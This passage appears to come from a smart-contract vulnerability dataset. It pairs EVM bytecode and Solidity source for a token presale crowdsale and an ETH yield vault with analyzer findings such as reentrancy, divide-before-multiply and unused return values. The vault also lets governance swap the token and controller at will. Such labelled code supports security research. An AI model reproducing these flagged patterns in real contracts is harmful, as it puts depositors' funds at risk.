505af1158015610f0f573d6000803e3d6000fd5b505050506040513d6020811015610f2557600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167f53c77464c098a802b925c73662df420663fe256cece6a1393efd9fc561768b47866040518082815260200191505060405180910390a4809150509392505050565b6000828211151515610fd957fe5b818303905092915050565b610fef838383611395565b1515610ffa57600080fd5b61104c81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fcb90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b3154db030856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561128257600080fd5b505af1158015611296573d6000803e3d6000fd5b505050506040513d60208110156112ac57600080fd5b810190808051906020019092919050505090508273ffffffffffffffffffffffffffffffffffffffff16817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167f70c4764b27cba74a095119eb1fa2e330c3affe9af2bff5598d236ba9e23cd73660405160405180910390a380915050919050565b61133781611447565b151561134257600080fd5b50565b600081611371600354611363600354866114ba90919063ffffffff16565b6114d090919063ffffffff16565b149050919050565b6000818301905082811015151561138c57fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113d857506113d782611345565b5b8015611423575081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561143e575061143d611438858585610dcb565b611447565b5b90509392505050565b600060017f0100000000000000000000000000000000000000000000000000000000000000027f0f0000000000000000000000000000000000000000000000000000000000000083167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081838115156114c757fe5b04905092915050565b6000808314156114e35760009050611502565b81830290508183828115156114f457fe5b041415156114fe57fe5b8090505b929150505600a165627a7a7230582019c6597af455b97b3ebeeb60c7a1e11d5a0271ee65f101ab11cd1ab779ea59340029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,680
0xfca7cf3200d16c027f96d2e36807a92aa917a1c7
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract CSCToken is Ownable, ERC20Basic { using SafeMath for uint256; string public constant name = "Crypto Service Capital Token"; string public constant symbol = "CSCT"; uint8 public constant decimals = 18; bool public mintingFinished = false; mapping(address => uint256) public balances; address[] public holders; event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); if (balances[_to] == 0) { holders.push(_to); } balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Current token is not transferred. * After start official token sale CSCT, you can exchange your tokens */ function transfer(address, uint256) public returns (bool) { revert(); return false; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier canMint() { require(!mintingFinished); _; } } /** * @title Crowdsale CSCT presale token */ contract Crowdsale is Ownable { using SafeMath for uint256; uint256 public constant rate = 1000; // How many token units a buyer gets per wei uint256 public constant cap = 1000000 ether; // Maximum amount of funds bool public isFinalized = false; uint256 public endTime = 1538351999; // End timestamps where investments are allowed // 30-Sep-18 23:59:59 UTC CSCToken public token; // CSCT token itself address public wallet; // Wallet of funds uint256 public weiRaised; // Amount of raised money in wei uint256 public firstBonus = 30; uint256 public secondBonus = 50; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Finalized(); function Crowdsale (CSCToken _CSCT, address _wallet) public { assert(address(_CSCT) != address(0)); assert(_wallet != address(0)); assert(endTime > now); assert(rate > 0); assert(cap > 0); token = _CSCT; wallet = _wallet; } function () public payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = tokensForWei(weiAmount); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonus(uint256 _tokens, uint256 _weiAmount) public view returns (uint256) { if (_weiAmount >= 30 ether) { return _tokens.mul(secondBonus).div(100); } return _tokens.mul(firstBonus).div(100); } function setFirstBonus(uint256 _newBonus) onlyOwner public { firstBonus = _newBonus; } function setSecondBonus(uint256 _newBonus) onlyOwner public { secondBonus = _newBonus; } function changeEndTime(uint256 _endTime) onlyOwner public { require(_endTime >= now); endTime = _endTime; } /** * @dev Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); finalization(); Finalized(); isFinalized = true; } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool tokenMintingFinished = token.mintingFinished(); bool withinCap = token.totalSupply().add(tokensForWei(msg.value)) <= cap; bool withinPeriod = now <= endTime; bool nonZeroPurchase = msg.value != 0; bool moreThanMinimumPayment = msg.value >= 0.1 ether; return !tokenMintingFinished && withinCap && withinPeriod && nonZeroPurchase && moreThanMinimumPayment; } function tokensForWei(uint weiAmount) public view returns (uint tokens) { tokens = weiAmount.mul(rate); tokens = tokens.add(getBonus(tokens, weiAmount)); } function finalization() internal { token.finishMinting(); endTime = now; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063127e499c1461011d5780632c4e722e146101485780633052b75e146101735780633197cbb6146101a057806332a9df46146101cb578063355274ea146101f85780634042b66f146102235780634bb278f31461024e578063521eb2731461026557806361bb246c146102bc578063715018a6146102e75780637734e398146102fe5780638d4e40831461032b5780638da5cb5b1461035a5780639427aa96146103b1578063ec8ac4d8146103fc578063eca058cc14610432578063ecb70fb714610473578063f2fde38b146104a2578063fc0c546a146104e5575b61011b3361053c565b005b34801561012957600080fd5b50610132610732565b6040518082815260200191505060405180910390f35b34801561015457600080fd5b5061015d610738565b6040518082815260200191505060405180910390f35b34801561017f57600080fd5b5061019e6004803603810190808035906020019092919050505061073e565b005b3480156101ac57600080fd5b506101b56107b2565b6040518082815260200191505060405180910390f35b3480156101d757600080fd5b506101f6600480360381019080803590602001909291905050506107b8565b005b34801561020457600080fd5b5061020d61081d565b6040518082815260200191505060405180910390f35b34801561022f57600080fd5b5061023861082b565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b50610263610831565b005b34801561027157600080fd5b5061027a6108f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c857600080fd5b506102d161091f565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc610925565b005b34801561030a57600080fd5b5061032960048036038101908080359060200190929190505050610a27565b005b34801561033757600080fd5b50610340610a8c565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b5061036f610a9f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bd57600080fd5b506103e66004803603810190808035906020019092919080359060200190929190505050610ac4565b6040518082815260200191505060405180910390f35b610430600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061053c565b005b34801561043e57600080fd5b5061045d60048036038101908080359060200190929190505050610b38565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b50610488610b74565b604051808215151515815260200191505060405180910390f35b3480156104ae57600080fd5b506104e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b80565b005b3480156104f157600080fd5b506104fa610be7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561057b57600080fd5b610583610c0d565b151561058e57600080fd5b34915061059a82610b38565b90506105b182600454610e1090919063ffffffff16565b600481905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561067c57600080fd5b505af1158015610690573d6000803e3d6000fd5b505050506040513d60208110156106a657600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361072d610e2c565b505050565b60055481565b6103e881565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561079957600080fd5b4281101515156107a857600080fd5b8060018190555050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081357600080fd5b8060068190555050565b69d3c21bcecceda100000081565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088c57600080fd5b600060149054906101000a900460ff161515156108a857600080fd5b6108b0610e97565b7f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a16001600060146101000a81548160ff021916908315150217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8257600080fd5b8060058190555050565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006801a055690d9db8000082101515610b0757610b006064610af260065486610f6290919063ffffffff16565b610f9a90919063ffffffff16565b9050610b32565b610b2f6064610b2160055486610f6290919063ffffffff16565b610f9a90919063ffffffff16565b90505b92915050565b6000610b4f6103e883610f6290919063ffffffff16565b9050610b6d610b5e8284610ac4565b82610e1090919063ffffffff16565b9050919050565b60006001544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bdb57600080fd5b610be481610fb0565b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166305d2035b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b505050506040513d6020811015610cc657600080fd5b8101908080519060200190929190505050945069d3c21bcecceda1000000610dbf610cf034610b38565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610d7657600080fd5b505af1158015610d8a573d6000803e3d6000fd5b505050506040513d6020811015610da057600080fd5b8101908080519060200190929190505050610e1090919063ffffffff16565b1115935060015442111592506000341415915067016345785d8a0000341015905084158015610deb5750835b8015610df45750825b8015610dfd5750815b8015610e065750805b9550505050505090565b60008183019050828110151515610e2357fe5b80905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610e94573d6000803e3d6000fd5b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f1d57600080fd5b505af1158015610f31573d6000803e3d6000fd5b505050506040513d6020811015610f4757600080fd5b81019080805190602001909291905050505042600181905550565b600080831415610f755760009050610f94565b8183029050818382811515610f8657fe5b04141515610f9057fe5b8090505b92915050565b60008183811515610fa757fe5b04905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fec57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582085f22c0c388d026c3b31a9acd5f2d635ad19d4ee6624cb57c819d5db8a523fbd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,681
0xd11d31f733f949c5a353e8a84bb5eea550b3ca90
pragma solidity ^0.5.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface WETH { function deposit() external payable; function withdraw(uint wad) external; event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; function rewards() external view returns (address); } contract VaultETH { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; IERC20 public YFToken; // YF合约地址 uint public min = 9500; uint public constant max = 10000; uint public earnLowerlimit; // 池内空余资金到这个值就自动earn address public governance; address public controller; struct Player { uint256 stake; // 质押总数 uint256 payout; // 支出 uint256 total_out; // 已经领取的分红 } mapping(address => Player) public player_; // (player => data) player data struct Global { uint256 total_stake; // 总质押总数 uint256 total_out; // 总分红金额 uint256 earnings_per_share; // 每股分红 } mapping(uint256 => Global) public global_; // (global => data) global data mapping (address => uint256) public deposittime; uint256 constant internal magnitude = 10**40; // 10的40次方 address constant public yf = address(0x96F9632b25f874769969ff91219fCCb6ceDf26D2); string public getName; constructor (address _token) public { token = IERC20(_token); getName = string(abi.encodePacked("yf:Vault:", ERC20Detailed(_token).name())); YFToken = IERC20(yf); governance = tx.origin; controller = 0xcC8d36211374a08fC61d74ed2E48e22b922C9D7C; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } // 设置治理地址,必须验证原来治理地址的签名 function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } // 设置目标token function setToken(address _token) public { require(msg.sender == governance, "!governance"); token = IERC20(_token); } // 设置控制器地址,必须验证治理地址的签名 function setController(address _controller) public { require(msg.sender == governance, "!governance"); controller = _controller; } function setEarnLowerlimit(uint256 _earnLowerlimit) public{ require(msg.sender == governance, "!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } // 抵押代币给Strategy合约进行理财,代币路径如下 vault->controller->strategy function earn() public { uint _bal = available(); // 获取最小需要转给机枪池进行获取收益的代币个数 token.safeTransfer(controller, _bal); // 转账给控制合约 Controller(controller).earn(address(token), _bal); // 抵押代币给Strategy合约进行理财 } // 存款 可以追加存款 function deposit() public payable { // uint _before = token.balanceOf(address(this)); // uint amount = msg.value; // WETH(address(token)).deposit.value(amount)(); // uint _after = token.balanceOf(address(this)); // amount = _after.sub(_before); // Additional check for deflationary tokens uint amount = msg.value; WETH(address(token)).deposit.value(amount)(); //Convert ETH into the WETH // 增加该用户的存款总数 player_[msg.sender].stake = player_[msg.sender].stake.add(amount); // 如果每股分红为0 if (global_[0].earnings_per_share != 0) { player_[msg.sender].payout = player_[msg.sender].payout.add( global_[0].earnings_per_share.mul(amount).sub(1).div(magnitude).add(1) // (((earnings_per_share*amount)-1)/magnitude)+1 ); } // 增加全局已抵押的总量 global_[0].total_stake = global_[0].total_stake.add(amount); // 如果当前池子合约中已经抵押的数量大于自动赚取收益的值时,自动将合约中的代币去第三方平台抵押 if (token.balanceOf(address(this)) > earnLowerlimit){ earn(); } // 更新用户抵押时间 deposittime[msg.sender] = now; } // No rebalance implementation for lower fees and faster swaps // 取款 function withdraw(uint amount) external { claim(); // 首先获取当前未领取的收益 require(amount <= player_[msg.sender].stake, "!balance"); uint r = amount; // Check balance uint b = token.balanceOf(address(this)); if (b < r) { // 如果vault合约中代币余额小于用户取款的余额,则需要去Strategy合约取款获得对应的代币 uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); // 取款 uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { // 策略器有可能会返回的代币变多,所以需要更新vault合约中的余额 r = b.add(_diff); } } // 更新用户的已提取余额并且更新全局的每股收益 player_[msg.sender].payout = player_[msg.sender].payout.sub( global_[0].earnings_per_share.mul(amount).div(magnitude) ); // 更新全局存款量和用户存款量 player_[msg.sender].stake = player_[msg.sender].stake.sub(amount); global_[0].total_stake = global_[0].total_stake.sub(amount); // 转账给用户取款的代币 WETH(address(token)).withdraw(r); address(msg.sender).transfer(r); } // Strategy.harvest 触发分红() function make_profit(uint256 amount) public { require(amount > 0, "not 0"); YFToken.safeTransferFrom(msg.sender, address(this), amount); // 挖矿收益存入当前合约(已扣除10%的手续费,90%的利润存进来) global_[0].earnings_per_share = global_[0].earnings_per_share.add( amount.mul(magnitude).div(global_[0].total_stake) ); // 增加总分红金额 global_[0].total_out = global_[0].total_out.add(amount); } // 用户可领取的分红 function cal_out(address user) public view returns (uint256) { uint256 _cal = global_[0].earnings_per_share.mul(player_[user].stake).div(magnitude); if (_cal < player_[user].payout) { return 0; } else { return _cal.sub(player_[user].payout); } } // 某个用户在路上的分红(也就是分红还没有从挖矿合约领取.只能看到,无法领取,等harvest触发后就可以领取了) function cal_out_pending(uint256 _pendingBalance,address user) public view returns (uint256) { uint256 _earnings_per_share = global_[0].earnings_per_share.add( _pendingBalance.mul(magnitude).div(global_[0].total_stake) ); uint256 _cal = _earnings_per_share.mul(player_[user].stake).div(magnitude); _cal = _cal.sub(cal_out(user)); if (_cal < player_[user].payout) { return 0; } else { return _cal.sub(player_[user].payout); } } // 用户领取分红 function claim() public { uint256 out = cal_out(msg.sender); player_[msg.sender].payout = global_[0].earnings_per_share.mul(player_[msg.sender].stake).div(magnitude); player_[msg.sender].total_out = player_[msg.sender].total_out.add(out); if (out > 0) { uint256 _depositTime = now - deposittime[msg.sender]; if (_depositTime < 1 days) { // deposit in 24h uint256 actually_out = _depositTime.mul(out).mul(1e18).div(1 days).div(1e18); uint256 to_team = out.sub(actually_out); 